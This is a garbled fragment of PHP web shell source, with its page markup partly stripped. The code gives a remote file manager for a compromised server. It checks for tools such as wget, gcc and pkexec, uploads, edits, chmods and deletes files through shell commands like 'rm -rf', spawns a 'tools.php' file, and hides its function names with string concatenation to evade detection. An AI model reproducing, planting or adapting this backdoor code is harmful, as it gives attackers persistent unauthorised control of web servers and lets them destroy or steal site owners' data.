ON" : "OFF"; $wget = ($se("wget --help")) ? "ON" : "OFF"; $python = ($se("python --help")) ? "ON" : "OFF"; $perl = ($se("perl --help")) ? "ON" : "OFF"; $ruby = ($se("ruby --help")) ? "ON" : "OFF"; $gcc = ($se("gcc --help")) ? "ON" : "OFF"; $pkexec = ($se("pkexec --version")) ? "ON" : "OFF"; $disfuncs = @ini_get("disable_functions"); $showdisbfuncs = (!empty($disfuncs)) ? "$disfuncs" : "NONE"; ?> System Info: IP: PHP Version: CURL: , WGET: , PERL: , RUBY: , GCC: , PKEXEC: Disabled Functions:
alert('$file uploaded'); window.location = '?path=$path';"; } else { echo ""; } } } if (!isset($_GET["a"])) : if (is_readable($path)) : ?>
Name Size Owner / Group Permission Actions
--- / Rename Chmod Delete
/ Edit Rename Chmod Delete
Filename:
Edit | Rename | Chmod | Delete |
alert('$filename Created'); window.location = '?path=$path';"; } else { echo "Failed to create"; } } } elseif (isset($_GET["a"]) && $_GET["a"] == "createFolder") { ?>
alert('$foldername Created'); window.location = '?path=$path';" : "Failed to create"; } } elseif (isset($_GET['a']) && $_GET["a"] == "editFile") { $file = $bn($_GET["file"]); ?>

alert('$filename Edited'); window.location = '?path=$path';"; } else { echo "Failed to create"; } } } elseif (isset($_GET['a']) && $_GET["a"] == "delete") { if (!empty($_GET["file"])) { $filename = $bn($file); if ($unl($file)) { echo ""; } else { echo "Delete $filename failed"; } } else { $folder_name = $bn($path); if (is_writable($path)) { @rmdir($path); $se("rm -rf \"$path\""); $se("rmdir /s /q \"$path\""); echo ""; } else { echo "Delete $folder_name failed"; } } } elseif (isset($_GET['a']) && $_GET["a"] == "rename") { $oriname = (isset($_GET["file"])) ? $bn($_GET["file"]) : $bn($_GET["path"]); ?>
alert('$oriname renamed to $newname'); window.location = '?path=$path';"; } else { "Failed to rename"; } } } elseif (isset($_GET['a']) && $_GET["a"] == "chmod") { $item = (isset($_GET["file"])) ? $_GET["file"] : $_GET["path"]; if (isset($_POST["chmod"])) { $newPermissions = octdec($_POST["chmod"]); if (chmod($item, $newPermissions)) { echo ""; } else { echo "Failed to chmod"; } } ?>
" required>
alert('tools.php spawned!'); window.location = '?path=" . $path . "';"; } else { echo ""; } } ?>
= 1024 && $unit < count($units) - 1) { $bytes /= 1024; $unit++; } return round($bytes, 2) . ' ' . $units[$unit]; } function hi_permission($items) { $perms = fileperms($items); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function ggr($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "si" . "x_ge" . "tgr" . "gid"; $c = "fi" . "le" . "gro" . "up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function gor($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "s" . "ix_" . "get" . "pwu" . "id"; $c = "fi" . "le" . "o" . "wn" . "er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } ?>